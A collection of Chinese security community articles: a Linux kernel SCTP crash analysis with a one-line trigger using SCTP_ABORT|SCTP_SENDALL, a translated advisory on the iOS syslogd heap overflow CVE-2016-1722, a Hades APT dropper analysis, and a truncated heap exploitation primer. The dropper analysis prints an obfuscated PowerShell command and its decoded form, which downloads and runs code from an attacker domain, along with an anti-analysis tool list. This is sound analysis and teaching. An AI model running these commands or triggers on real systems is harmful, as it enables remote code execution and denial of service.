在公共头部除了包含源目的端口，校验和，还包含一个`Verification Tag`，用于确定一条sctp连接。
下面是chunk结构
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Chunk Type | Chunk Flags | Chunk Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\ \
/ Chunk Value /
\ \
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
#### 关联
关联是sctp中一个很重要的概念，关联结构由`sctp_assocition`结构体表示
该结构体中，几个重要的成员
* assoc_id : 关联id（唯一）
* c : sctp_cookie 与某个关联状态相关的cookie
* peer ： 结构体表示关联的对等端点（远程端点）
* transport_addr_list：保存了建立关联以后的一个或多个地址
* primary_path：建立初始连接时使用的地址
* state：关联的状态
## 编写poc
需要完整的poc可以私信，其实很好构造，主要是在发送sctp消息的时候，将flags设置为`SCTP_ABORT|SCTP_SENDALL`即可。
sctp_sendmsg(server_fd,&recvbuf,sizeof(recvbuf),(struct sockaddr*)&client_addr,sizeof(client_addr),sri.sinfo_ppid,SCTP_ABORT|SCTP_SENDALL,sri.sinfo_stream,0,0
## poc调试
编译并运行poc，内核崩溃了，但是崩溃信息并不像想象的那样,crash如下
[ 16.527019] general protection fault: 0000 [#1] SMP NOPTI
[ 16.527784] CPU: 1 PID: 1805 Comm: poc Not tainted 4.20.1 #5
[ 16.527784] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 16.527784] RIP: 0010:sctp_sendmsg_check_sflags+0x2/0xa0
[ 16.527784] Code: 6f 30 be 08 00 00 00 e8 1c fe f1 ff 48 8b 73 78 31 d2 48 89 ef 5b 5d 48 83 ee 78 e9 18 9c 00 00 5b 5d c3 0f 1f 44 00 00 55 53 <44> 8b 87 30 02 00 00 48 8b 47 20 45 85 c0 48 8b 68 30 75 09 83 b8
[ 16.527784] RSP: 0018:ffffc90000bbfc50 EFLAGS: 00010216
[ 16.527784] RAX: 0000000000000000 RBX: ffffc90000bbfdc0 RCX: 0000000000000014
[ 16.527784] RDX: ffffc90000bbfec0 RSI: 0000000000000044 RDI: dead000000000088
[ 16.527784] RBP: ffff888075098040 R08: ffff888074ad4e48 R09: ffff888074ad4e80
[ 16.527784] R10: 0000000000000000 R11: ffff888074ad4e48 R12: 0000000000000014
[ 16.527784] R13: dead000000000088 R14: ffffc90000bbfec0 R15: ffff888074c43db0
[ 16.527784] FS: 00007fee5a290700(0000) GS:ffff88807db00000(0000) knlGS:0000000000000000
[ 16.527784] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 16.527784] CR2: 00007fee5ab4a1b0 CR3: 0000000074dfa000 CR4: 00000000000006e0
[ 16.527784] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 16.527784] DR3: 0000000000000000 DR6: 00000000ffff4ff0 DR7: 0000000000000400
[ 16.527784] Call Trace:
[ 16.527784] sctp_sendmsg+0x51e/0x6f0
[ 16.527784] sock_sendmsg+0x31/0x40
[ 16.527784] ___sys_sendmsg+0x26a/0x2c0
[ 16.527784] ? __wake_up_common_lock+0x84/0xb0
[ 16.527784] ? n_tty_open+0x90/0x90
[ 16.527784] ? tty_write+0x1e7/0x310
[ 16.527784] ? __sys_sendmsg+0x59/0xa0
[ 16.527784] __sys_sendmsg+0x59/0xa0
[ 16.527784] do_syscall_64+0x43/0xf0
[ 16.527784] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 16.527784] RIP: 0033:0x7fee5ae41eb0
==================================================================================
kasan:
[ 372.233643] BUG: KASAN: wild-memory-access in sctp_sendmsg_check_sflags+0x24/0x110
[ 372.233643] Read of size 8 at addr dead0000000000a8 by task poc/1813
在分析这个漏洞之前我看过网上的一篇分析文章，里面指出漏洞出发是因为将asoc置0了。如图：
如果是因为asoc被置零导致的空指针解引用，那么不应该会执行到函数`sctp_sendmsg_check_sflags+0x2/0xa0`，为什么这么说呢？下面是我截取的部分`sctp_sendmsg`的汇编。
0xffffffff81969fd7 <+23>: mov r15,QWORD PTR [rdi+0x3b8] // r15 == ep
=> 0xffffffff8196a13c <+380>: movzx eax,r13w
0xffffffff8196a140 <+384>: test r13b,0x40
0xffffffff8196a144 <+388>: mov DWORD PTR [rsp],eax
0xffffffff8196a147 <+391>: jne 0xffffffff8196a4ae <sctp_sendmsg+1262>
0xffffffff8196a4ae <+1262>: mov edx,DWORD PTR [rbp+0x398]
0xffffffff8196a4b4 <+1268>: test edx,edx
0xffffffff8196a4b6 <+1270>: jne 0xffffffff8196a14d <sctp_sendmsg+397>
0xffffffff8196a4bc <+1276>: mov rax,QWORD PTR [r15+0x78] // rax == *(ep->asocs)
0xffffffff8196a4c0 <+1280>: lea r13,[rax-0x78] // r13(&asoc) == rax-0x78
0xffffffff8196a4c4 <+1284>: cmp r15,r13 //asoc ?= ep(head)
0xffffffff8196a4c7 <+1287>: je 0xffffffff8196a65a <sctp_sendmsg+1690>
0xffffffff8196a4cd <+1293>: mov esi,DWORD PTR [rsp]
0xffffffff8196a4d0 <+1296>: mov rcx,r12
0xffffffff8196a4d3 <+1299>: mov rdx,r14
0xffffffff8196a4d6 <+1302>: mov rdi,r13
0xffffffff8196a4d9 <+1305>: call 0xffffffff81966fd0 <sctp_sendmsg_check_sflags>
0xffffffff8196a4de <+1310>: test eax,eax
0xffffffff8196a4e0 <+1312>: je 0xffffffff8196a528 <sctp_sendmsg+1384>
0xffffffff8196a4e2 <+1314>: js 0xffffffff8196a1b9 <sctp_sendmsg+505>
0xffffffff8196a528 <+1384>: mov r13,QWORD PTR [r13+0x78] // next = asoc.next
0xffffffff8196a52c <+1388>: sub r13,0x78 //asoc = next-0x78
0xffffffff8196a530 <+1392>: cmp r15,r13 //asoc ?= head
0xffffffff8196a533 <+1395>: jne 0xffffffff8196a4cd <sctp_sendmsg+1293>
0xffffffff8196a535 <+1397>: jmp 0xffffffff8196a1b9 <sctp_sendmsg+505>
上面三部分汇编的大体意思我也已经标注了，如果是因为asoc（r13）被置零，那么，地址`0xffffffff8196a528`处对应的r13应该为0，解引用`PTR
[r13+0x78]`的时候势必会因为空指针解引用而出现crash，但是崩溃的时候rip并没有指向这里，而是再次进入`sctp_sendmsg_check_sflags`此时rdi寄存器的值是有问题的，这个值是一个非法内存，为什么会出现这样的情况？
list_for_each_entry(asoc, &ep->asocs, asocs) {
err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
msg_len);
上面这段代码用for循环简写一下的话就是
for(asoc=head.asoc;asoc.asocs!=head;asoc=asoc.next){
sctp_sendmsg_check_sflags(asoc, sflags, msg,msg_len);
}
执行完一次循环以后，在执行下一次循环时，aosc被更新为`asoc.next`，执行`sctp_sendmsg_check_sflags`函数时，`rdi`寄存器的值是有问题的，也就是asoc有问题，因此可以考虑是不是第一次循环时asoc结构的`list_head`被修改了，在这个地方下一个内存断点调试。
因为问题出现在使用`list_for_each_entry`的时候，因此我在这个地方断下来，此时的上下文
$r13 : 0xffff8880622db410
$r14 : 0xffffc90000bbfec0 -> 0xffffc90000bbfdc0 -> 0x0100007fff930002 -> 0x0100007fff930002
$r15 : 0xffff88806c21f9d0 -> 0x0000000000000000 -> 0x0000000000000000
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
------------------------------------------------------------------------------------ code:x86:64 ---- 0xffffffff8196a522 <sctp_sendmsg+1378> movabs eax, ds:0x6d8b4d0424448bff
0xffffffff8196a52b <sctp_sendmsg+1387> js 0xffffffff8196a576 <sctp_sendmsg+1462>
0xffffffff8196a52d <sctp_sendmsg+1389> sub ebp, 0x78
->0xffffffff8196a530 <sctp_sendmsg+1392> cmp r15, r13
0xffffffff8196a533 <sctp_sendmsg+1395> jne 0xffffffff8196a4cd <sctp_sendmsg+1293>
0xffffffff8196a535 <sctp_sendmsg+1397> jmp 0xffffffff8196a1b9 <sctp_sendmsg+505>
0xffffffff8196a53a <sctp_sendmsg+1402> test r13w, 0x204
0xffffffff8196a540 <sctp_sendmsg+1408> jne 0xffffffff8196a41d <sctp_sendmsg+1117>
0xffffffff8196a546 <sctp_sendmsg+1414> test r12, r12
------------------------------------------------------------------ source:net/sctp/socket.c+2056 ---- 2051
2052 lock_sock(sk);
2053
2054 /* SCTP_SENDALL process */
2055 if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
->2056 list_for_each_entry(asoc, &ep->asocs, asocs) {
2057 err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
根据分析，此时的r13跟r15分别对应asoc跟head。
在asoc偏移0x78的地方下一个内存访问端点,执行就可以了
gef> awatch *0xffff8880622db488
Hardware access (read/write) watchpoint 3: *0xffff8880622db488
然后，程序运行到了这个地方，有了一个赋值操作
-------------------------------------------------------------- source:./include/linux[...].h+127 ---- 122
123 static inline void list_del(struct list_head *entry)
124 {
125 __list_del_entry(entry);
126 entry->next = LIST_POISON1;
-> 127 entry->prev = LIST_POISON2;
128 }
129
130 /**
131 * list_replace - replace old entry by new one
132 * @old : the element to be replaced
---------------------------------------------------------------------------------------- threads ---- [#0] Id 1, Name: "", stopped, reason: SIGTRAP
[#1] Id 2, Name: "", stopped, reason: SIGTRAP
------------------------------------------------------------------------------------------ trace ---- [#0] 0xffffffff81f6800e->list_del(entry=<optimized out>)
[#1] 0xffffffff81f6800e->sctp_association_free(asoc=0xffff8880622db410)
[#2] 0xffffffff81f5fc93->sctp_cmd_delete_tcb(cmds=<optimized out>, asoc=<optimized out>)
[#3] 0xffffffff81f5fc93->sctp_cmd_interpreter(state=<optimized out>, status=<optimized out>, gfp=<optimized out>, commands=<optimized out>, event_arg=<optimized out>, asoc=0xffff8880622db410, ep=<optimized out>, subtype=<optimized out>, event_type=<optimized out>)
[#4] 0xffffffff81f5fc93->sctp_side_effects(gfp=<optimized out>, commands=<optimized out>, status=<optimized out>, event_arg=<optimized out>, asoc=<optimized out>, ep=<optimized out>, state=<optimized out>, subtype=<optimized out>, event_type=<optimized out>)
[#5] 0xffffffff81f5fc93->sctp_do_sm(net=<optimized out>, event_type=<optimized out>, subtype={
chunk = SCTP_CID_INIT_ACK,
timeout = SCTP_EVENT_TIMEOUT_T1_INIT,
other = (unknown: 2),
primitive = SCTP_PRIMITIVE_ABORT
}, state=<optimized out>, ep=<optimized out>, asoc=0xffff8880622db410, event_arg=0xffff88806bf12980, gfp=0x6000c0)
结合汇编可以看出，此时的entry对应着asoc，而`LIST_POISON1`这个值可以通过翻源码找到,即`0xdead000000000000+0x100`
/*
* Architectures might want to move the poison pointer offset
* into some well-recognized area such as 0xdead000000000000,
* that is also not mappable by user-space exploits:
*/
#ifdef CONFIG_ILLEGAL_POINTER_VALUE
# define POISON_POINTER_DELTA _AC(CONFIG_ILLEGAL_POINTER_VALUE, UL)
#else
# define POISON_POINTER_DELTA 0
#endif
/*
* These are non-NULL pointers that will result in page faults
* under normal circumstances, used to verify that nobody uses
* non-initialized list entries.
*/
#define LIST_POISON1 ((void *) 0x100 + POISON_POINTER_DELTA)
#define LIST_POISON2 ((void *) 0x200 + POISON_POINTER_DELTA)
而且此时asoc结构的list_head已经被修改
gef> p (*(struct sctp_association*)0xffff8880622db410)->asocs
$1 = {
next = 0xdead000000000100,
prev = 0xffff88806c21fa48
}
然后执行到这个地方
0xffffffff8196a528 <+1384>: mov r13,QWORD PTR [r13+0x78] // next = asoc.next
0xffffffff8196a52c <+1388>: sub r13,0x78 //asoc = next-0x78
0xffffffff8196a530 <+1392>: cmp r15,r13 //asoc ?= head
0xffffffff8196a533 <+1395>: jne 0xffffffff8196a4cd <sctp_sendmsg+1293>
0xffffffff8196a535 <+1397>: jmp 0xffffffff8196a1b9 <sctp_sendmsg+505>
重新为asoc赋值。导致再次进入check_flags函数的时候，第一个参数地址无效导致crash。这样解释就可以跟crash时的上下文信息对应起来了。
还有一个问题，为什么`*asoc = NULL`并没有将asoc置空呢？
因为这个代码出现在`sctp_side_effects`函数中
static int sctp_side_effects(enum sctp_event event_type,
union sctp_subtype subtype,
enum sctp_state state,
struct sctp_endpoint *ep,
struct sctp_association **asoc,
void *event_arg,
enum sctp_disposition status,
struct sctp_cmd_seq *commands,
gfp_t gfp)
这个函数传入的是一个二级指针，并没有影响到原始值。 | 社区文章 |
# iOS&OS X平台漏洞分析报告：CVE-2016-1722
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.zimperium.com/analysis-of-ios-os-x-vulnerability-cve-2016-1722/>
译文仅供参考，具体内容表达以及含义原文为准。
上周，苹果公司发布了[iOS 9.2.1](https://support.apple.com/en-us/HT205732)，此次更新是苹果公司在2016年对iOS设备的安全性能进行的首次更新。在此次更新中，苹果修复了syslogd（日志记录进程）中的代码执行漏洞（此漏洞是由[Zimperium
zLabs](https://www.twitter.com/zLabsProject)的安全研究专家[Nikias
Bassen](https://twitter.com/pimskeks)和[Joshua
J.Drake](https://www.twitter.com/jduck)发现的）。在这篇文章中，我们将会给大家描述这个漏洞的发现和验证过程，并且还会给大家介绍这个漏洞的详细技术细节。这个漏洞允许攻击者能够以root权限在iOS设备上执行任意的恶意代码，版本号在6.0至9.2之间的iOS设备都会受到这个漏洞的影响。
我们对iOS设备进行了漏洞检测，目的就是为了尽我们微薄的力量来提升iOS设备的安全性能。在我们的检测过程中，我们的漏洞检测工具曾引起过一次系统崩溃。尽管我们并没有对syslog的代码进行模糊测试，但是当我们对此次系统崩溃进行分析时却发现，我们的工具曾对syslogd的开源代码进行过全面的安全审查。我们对代码中的错误部分进行了分析和验证，并且能够通过这些错误代码来成功触发系统崩溃。在此之后，我们便将漏洞信息报告给了苹果公司安全团队的相关工作人员，苹果公司对此立刻进行了回应，并且修复了相应的安全问题。苹果公司在发布了iOS
9.2.1安全更新之后，Zimperium（该公司可以为客户提供企业化移动安全解决方案）的客户们不会再受到这个漏洞的影响。完整的安全公告如下：
**iOS/OS X平台下syslogd的堆缓冲区溢出**
受此漏洞影响的组件
/usr/sbin/syslogd
受此漏洞影响的系统平台和相应版本号：
l iOS 6.0 至 9.2
l OS X 10.9至10.11.2
供应商信息：
l 苹果公司
**CVE信息：**
l CVE-2016-1722
syslog最新的开源代码版本：
syslog-267 (OS X 10.10.5)
[http://opensource.apple.com/source/syslog/syslog-267/#sthash.qfQJ21ZE.dpuf](http://opensource.apple.com/source/syslog/syslog-267/%23sthash.qfQJ21ZE.dpuf)
**漏洞信息披露时间轴：**
1\. 安全研究人员于2015年10月26日发现并确认了这个漏洞；
2\. 研究人员于2015年11月25日将漏洞信息报告给了苹果公司；
3\. 苹果公司于2016年1月14日发布了iOS 9.2.1更新补丁，并修复了这个漏洞；
**漏洞概述**
系统在对内存进行重新分配的过程中，将有可能会出现的内存大小计算错误，这种错误将会引起syslogd的堆缓冲区溢出，尤其是当系统与多个客户端建立了连接时。
**漏洞影响**
本地权限提升，远程代码执行（针对在WiFi网络环境中的受信任设备），以及拒绝服务（DoS）。
**漏洞描述**
在iOS平台中，syslogd进程会以root权限运行。我们发现了一个堆溢出漏洞，该漏洞会导致系统的内存崩溃，在某些特定的情况下，这个漏洞还有可能允许攻击者在目标设备中执行任意代码。堆缓冲区中会发生数据越界，而这些数据则会被文件描述符的值所重写。如果攻击者的技术足够的好，那么在进行了特定操作之后，攻击者还可以控制重写的数据内容。无论怎样，这个漏洞的利用价值是非常高的。
**背景信息**
运行在苹果设备中的程序开发工具（通常是Mac OS
X平台中的Xcode）通常会与syslog中继服务（com.apple.syslog_relay）进行连接。在与该服务进行连接之后，相应软件便能够访问系统中的日志文件（syslog）了，而且这种连接通常是通过USB连接线完成的。当攻击者与目标设备处于同一WiFi网络中时，攻击者就有可能与目标设备中的syslog服务进行远程连接。无论是通过哪种方式，在与相应服务进行连接之前，设备必须经过配置，而且必须信任远程主机。这也就是我们常说的“配对”，只有成功配对的设备才可以实现上述操作。
这个漏洞的利用过程涉及到主机和设备的感染。在我们进行了研究和分析之后，我们认为其他类型的攻击方式在实际中并不可行。由于受到密码保护的设备只有在成功解锁之后才能信任计算机。所以在利用这个漏洞之前，我们还需要相应设备的锁屏密码。运行在设备中的第三方应用程序是不可能与syslogd服务进行直接通信的。
**详细信息**
引起这个漏洞的根本原因就是add_lockdown_session函数（该函数存在于源文件syslogd.tproj/dbserver.c之中）中所存在的错误代码。在这个函数的执行过程中，程序会对内存空间进行重新分配，并且还会增加数组的长度。图片1显示的是部分漏洞代码。
图片1:我们从syslogd的源文件syslogd.tproj/dbserver.c中截取出了部分漏洞代码。其中红色部分的代码就是导致这个漏洞的根本原因。
第170行代码揭露了引起这个问题的根本原因。传递给reallocf函数的内存大小值是一个计算错误的值。这段代码原本应该利用sizeof(int)的值来增加数组（用于存储会话文件描述符的相关信息）的长度，但是由于运算优先级的规则导致了系统的计算错误。经过修改的正确代码如下：
global.lockdown_session_fds = reallocf(global.lockdown_session_fds,
(global.lockdown_session_count + 1) * sizeof(int));
原始代码只会在会话数量上加上sizeof(int)的值，但是我们在修改之后，会在会话数量上加1，然后再乘以sizeof(int)。在这种情况下，一个小括号就让一切变得不同了。
我们目前还无法获取到最新版本iOS和OS
X中的源代码。如果我们需要证明最新版的苹果操作系统中仍然存在这些问题，那么我们还要对相应的二进制文件进行分析。除此之外，由于运算符优先级的规则，再加上这段代码已经是经过优化了的最简形式，一切都变得更加明显了。图片2显示的是我们对iOS
9.0.2中的syslogd二进制代码所进行的分析：
图片2:我们对iOS 9.0.2中的syslogd二进制代码进行了分析之后，发现了堆溢出的问题。
iOS
9.1中同样存在这个问题。我们甚至不用去检查其中的相关代码，只需要与com.apple.syslog_relay服务进行多次连接之后这个问题便出现了。我们也可以在OS
X的syslogd代码中发现同样的问题。图片3显示的是我们对OS X 10.11.1中syslogd二进制代码的分析情况：
图片3: 我们对OS X 10.11.1中的syslogd二进制代码进行了分析之后，发现了堆溢出的问题。
请注意，上述示例中编译器都会将表达式“1*sizeof(int)”简化成“sizeof(int)”，这也使得这个漏洞变得更加的明显了。
当一个新的客户端与服务进行连接之后，会调用这个函数。该函数在首次执行时，会分配一个起始缓冲区，用以存储第一个文件描述符。请记住，sizeof(int)的值永远是4。而global.lockdown_session_count的值为0，所以第一次计算的大小值是正确的：即4字节。但是，当另一个客户端与其进行连接之后，global.lockdown_session_count的值为1，新的缓冲区大小将会被系统错误计算成5字节。在第三次连接之后，缓冲区大小又会变成6个字节，依此类推。
当程序将新建连接的文件描述符存储至global.lockdown_session_fds数组中时，堆溢出就发生了。我们可以从下图给出的代码中看到堆溢出发生的原因：
图片4:我们从syslogd的syslogd.tproj/dbserver.c源文件中提取到了上面这段代码。红色部分的代码就是引发堆崩溃的原因。
第179行代码会将长度为4字节的数据写入缓冲区，但内存空间不足，从而导致了内存溢出。具体信息可以从图片5中看到。
图片5:由于程序在重新分配内存空间时对内存大小的计算错误导致了堆溢出。将文件描述符写入内存时将有可能导致堆内存崩溃。
如果大家有相关的意见或者建议，或者大家还有什么不明白的地方，请与我们联系[@zimperium](https://twitter.com/zimperium)。 | 社区文章 |
研究人员最近发现Hades APT组织的一些新的攻击活动，Hades是Olympic
Destroyer攻击的幕后黑手。这波新的攻击与之前的攻击活动共享一些特征，但也有一些部分得到了进化。
# 宏进化
为了证明Hades使用的宏的进化过程，研究人员画了一个宏调用图：
每个样本都表示宏的第一个变种的新循环。
字符串编码方法和其他线索都显示近期同一攻击者创建了多个文档，使用的混淆方法也是相同的。
# 之前样本的感染流
除了最近dropper的例外以外，所有的样本在第一阶段执行时都有类似的功能：
更多信息参见Kaspersky的<a href=“[https://securelist.com/olympic-destroyer-is-still-alive/86169/”>分析报告](https://securelist.com/olympic-destroyer-is-still-alive/86169/”>分析报告)</a><https://securelist.com/olympic-destroyer-is-still-alive/86169/> 。
# 新Dropper变种
该样本最早是2018年10月12日被上传到Virustotal，来源是乌克兰。样本的编码和代码风格与Hades
dropper之前的系列非常相似。但新加入了反分析和延迟执行特征。这些新特征也证明非常有效，因为常见的在线沙箱都不能分析其进程活动和网络活动，因此该dropper看似是非恶意的。
新调用图：样本的调用图并不复杂，主要是重新设计和加入了新的特征。
**样本详情**
MD5:
cd15a7c3cb1725dc9d21160c26ab9c2e
File name:
“ТЕХНИЧЕСКОЕ_ЗАДАНИЕ_НА_РАЗРАБОТКУ_МОБИЛЬНОГО_ПРИЛОЖЕНИЯ.doc”
Creation date:
2018-10-09 07:23:00
Author:
James
# 新感染流
## 1-DOC诱饵文件
起初用户看到的是一个空白页。
启用宏后，宏就会将白色的文本变成黑色，就可以看到内容了。
文档的内容是来源于网络的合法文档。
## 2-WMI 反分析
宏使用WMI通过运行进程来进行循环：
然后将返回的进程名与主流的分析工具进行比较，宏也会确认至少40个运行的进程。进程数可以有效应对沙箱和分析环境。
分析工具列表：
HaCKER,MalzILlA,pRocExP,WiREShARK,HxD,PowERsheLl_iSE,idA,Olly,fiDDLEr,mALwAre,VmtoOLsd,SWingBoX,vboXTrAY,secunia,hijack,VmtoOlsd’,Vbox,vMWaRE,VXsTReaM,AUtOIt,vmToOls,TcpVIeW,WiREShARK,prOCEss expLorer,VIsuAl bASiC,fiDDLEr
分析笔记：
上面的工具列表都在老变种的Powershell阶段。
## 3-释放HTA到硬盘
dropper会将解码的HTA文件写入`%APPDATA%\WPFT532.hta`。
## 4-5计划任务
为HTA创建一个计划任务，并且在早晨的时间段运行。
`schtasks /Create /F /SC DAILY /ST “10:20” /TN “DriveCloudTaskCoreCheck” /TR
“mshta C:\\Users\\[user]\\AppData\\Roaming\\WPFT532.hta`
参数：
/F – 强制创建任务，忽略警告
/SC –计划每日任务
/ST –开始时间
/TN –任务时间
## 6-HTA执行
HTA文件使用VBscirpt脚本来解码下一阶段的命令行，这与使用宏阶段的技术和解码器是一样的。
## 7-9 Powershell下载和执行
HTA代码会用混淆的powershell执行下面的命令行：
c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c “Set AYW= -jOIn[CHAr[]] (40 ,39 , 40 , 78,39, 43,39 , 101, 119, 45, 79,39, 43 ,39 , 98,106 , 101 ,99 ,116 , 32 , 78,101 , 116 , 46 ,87, 39 , 43, 39 ,101 , 98 , 99 , 108, 105 ,101 ,110, 116 , 41,39 , 43 ,39,46,39,43 ,39 ,100 , 111,119 , 110 ,108 , 111 ,39,43 ,39, 97 , 100,115 ,116, 114,105 , 110 , 103,40 ,72 ,108, 39,43,39, 106,104,116 , 39 , 43 , 39 , 116 ,112, 58 , 39, 43,39 , 47, 47, 102 ,105, 110 , 100 , 117, 112 , 100, 97 ,39 , 43,39 , 116 ,101,39 ,43,39 , 109, 115 ,46,99 ,111, 109 , 47,99 , 104,39, 43,39, 101, 39 , 43 , 39,99 ,107 ,47,105 ,110,39 ,43 , 39 , 100 , 101 ,120,72,108, 106, 41,39 ,43 ,39, 52, 106 , 39,43,39 , 122,73 , 69,88, 39, 41 ,46 ,82 ,101, 112, 76 , 97,67,101, 40 ,40 ,91 , 99, 104,65 ,114 ,93,55, 50,43 ,91, 99, 104,65 , 114, 93,49,48,56, 43,91 ,99, 104,65 ,114,93,49, 48 ,54 , 41, 44,91,83,116 , 114, 73 ,110,103, 93 ,91 ,99 ,104,65, 114 ,93,51, 57 , 41, 46 ,82,101,112,76, 97, 67 ,101, 40 , 40,91,99, 104, 65, 114, 93, 53 ,50, 43 ,91 , 99 ,104, 65, 114 , 93,49,48,54, 43, 91 ,99, 104, 65,114,93 , 49 , 50 ,50,41,44, 39, 124 , 39 ,41 , 124 , 32, 46 ,32 , 40 , 32 ,36, 69, 110 ,86 , 58,67 , 79, 109 , 83, 80, 101 , 99 ,91,52 , 44 ,50, 52 ,44 ,50,53, 93 , 45 , 106,79 ,73 ,110 ,39 , 39, 41)^| . ( $pshOme[21]+$PSHoMe[30]+’x’) &&Set gnPq=ECHO inVOKe-ExPRessiON (get-ItEM eNV:AYw).valUe ^| pOWERsHElL -noPRoFI -EXEcuTiONpOlI BYPASS -noNi -NoeXi -WindoWStYlE HIdDen -&& c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c %gNpq%”
**Powershell deobfuscation stage 1:**
(‘(N’+’ew-O’+’bject Net.W’+’ebclient)’+’.’+’downlo’+’adstring(Hl’+’jht’+’tp:’+’//findupda’+’te’+’ms.com/ch’+’e’+’ck/in’+’dexHlj)’+’4j’+’zIEX’).RepLaCe(([chAr]72+[chAr]108+[chAr]106),[StrIng][chAr]39).RepLaCe(([chAr]52+[chAr]106+[chAr]122),’|’)
**Powershell deobfuscation stage 2:**
(New-Object Net.Webclient).downloadstring(‘<http://findupdatems>[.]com/check/index’)|IEX
The downloaded string is evaluated as an additional Powershell to execute. At the time of analysis, we are unable to download the second stage payload.
## Common Indicators
Hades的doc文件和宏混淆器有一些独特的特征可以用来区分其他dropper。这些特征在新变种和之前的宏版本中都存在。
**元数据**
虽然不是很有区分性，但大多数dopper都包含以下三个文档作者之一：
James, john or AV
## Dummy Code
If描述的判断结果一般都是true：
为了返回`0`的函数：
# 编码函数
字符串和第2阶段代码都编码在宏中：
为了反混淆字符串，使用了解码函数（`MSART8`）。
解码函数是减小每个编码的字符的值（常数）。比如，如果当前常数值是5，编码字符的ASCII值就减5。不同样本中的这些常数值是不同的。
另一个解码器是将十六进制字符串转换为文本：
# 文档诱饵函数
大多数droppers在用户启用宏以后用两种方法来改变文档的显示内容：
* 用下面的循环移除文档诱饵图像：
* 将文本的底色由白调成黑色：
# 初始触发器
Hades尽量不使用AutoOpen这类常见的代码触发器，以绕过模拟器的静态检测和分析。
之前使用的触发器有：
MultiPage1_Layout
Frame1_Layout
SystemMonitor1_GotFocus
Image1_MouseMove
ImageCombo21_Change
# 网络基础设施
Hades的droppers会用被黑的服务器作为第二阶段的C2。虽然并不了解Hades的基础设施，但是一些dropper在与C2通信时出现了一些错误。
这些错误暗示被黑的服务器只是一个代理，请求实际上是被重定向到另一个Empire后台的服务器的。
e160ca75a0e8c4bc9177f412b09e7a29生成的请求(first seen: 2018-06-05)
ac85b1fff1fe43ddad28bf1c4ce021c5生成的请求 (first seen: 2018-10-11)
# 请求流
代理的功能以Hop
Listeners的形式嵌入到Empire中：`https://github.com/EmpireProject/Empire/blob/master/data/misc/hop.php`。在`hop.php`文件的第`25`行有一个`file_get_contents`函数，与错误信息中的一致。
# 总结
Hades组织并没有放慢其攻击活动的步伐，相反，其攻击能力越来越强。其最新活动为一个新的之前从未出现过的dropper变种。而Hades每次引入新的dropper，都只有少量反病毒厂商能够成功检测到，这也说明Hades的大多数攻击活动可能都没有被发现。
<https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/> | 社区文章 |
# CTF pwn 中最通俗易懂的堆入坑指南
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间入门了 pwn
，慢慢掌握了一些栈上的一些攻击技巧，但是发现在比赛中堆的利用才是王道…无奈只能在堆上再花些功夫。但是发现入门堆不是一件容易的事，毕竟涉及到了内存管理的知识，比较复杂。所以笔者看了大量文章和接受了大牛的指点，决定对堆中的一些基本概念进行总结，还恳请师傅们斧正~
这里不会讲太多的原理性（函数源码的实现等等）的东西，尽量以最简单的形式再结合一下小例子来揭开堆和内存管理的神秘面纱。
## 什么是堆？
首先先明确一下堆的概念，堆不同于栈，堆是动态分配的（由操作系统内核或者堆管理器），只有在程序中需要时才会分配。在 CTF 的 pwn
程序中，栈是程序加载进内存后就会出现，而堆是由 malloc、alloc、realloc 函数分配内存后才会出现。
* windows 和 linux 下的堆分配、管理方式都不同， **这里主要讲到的是 CTF 中常出现的 linux 下的堆分配知识**
先看看堆在虚拟内存中的位置
* **堆的生长方向是从低地址向高地址生长的，而栈是从高地址向低地址生长的。**
实际上堆可以申请到的内存空间比栈要大很多，在 linux 的 4G 的虚拟内存空间里最高可以达到 2.9 G 的空间
> 对堆操作的 **是由堆管理器（ptmalloc2）来实现的，而不是操作系统内核**
> 。因为程序每次申请或者释放堆时都需要进行系统调用，系统调用的开销巨大，当频繁进行堆操作时，就会严重影响程序的性能
下面的分析都是以 **glibc 库下的 ptmalloc2 堆管理器** 来讲解的。
## 堆的基本结构
先简单的画一个图吧：
1.pre size 字段。 **只有在前面一个堆块是空闲的时候才有指** ，用来指示前一个堆块的大小。前面一个堆块在使用时，他的值始终为 0
2.size 字段。是用来指示当前堆块的大小的（头部加上 user data 的大小）。但是这个字段的最后三位相当于三个 flag ，有另外的作用。
这三位的作用分别是：
1.NON_MAIN_ARENA 这个堆块是否位于主线程
2.IS_MAPPED 记录当前 chunk 是否是由 mmap 分配的
3.PREV_INUSE 记录前一个 chunk 块是否被分配
这里重点讲解最后一位： **用来记录前一个 chunk 块是否被分配，被分配的话这个字段的值为 1** ，所以经常会在已分配的堆块中的 size
字段中发现值比原来大 1 个字节。
* 所以前一个堆块的释放与否都和这两个字段（pre_size、size）的值有关，这是因为便于内存的释放操作（free）
4.user data 顾名思义就是用来存放用户数据的。
使用 malloc 函数分配到的内存的返回值指针是 **指向 user data （用户数据区）** ，在后面的例子中也会讲到这个问题。
**例如在 64 位程序中：**
malloc(8)
申请到的堆块总大小为 16 + 8 + 8 + 1 = 0x21
1.第一个 16 字节是 **系统最小分配的内存** ，也就是说你如果想要申请的内存小于系统最小分配的内存的话，就会按照最小的内存来分配。
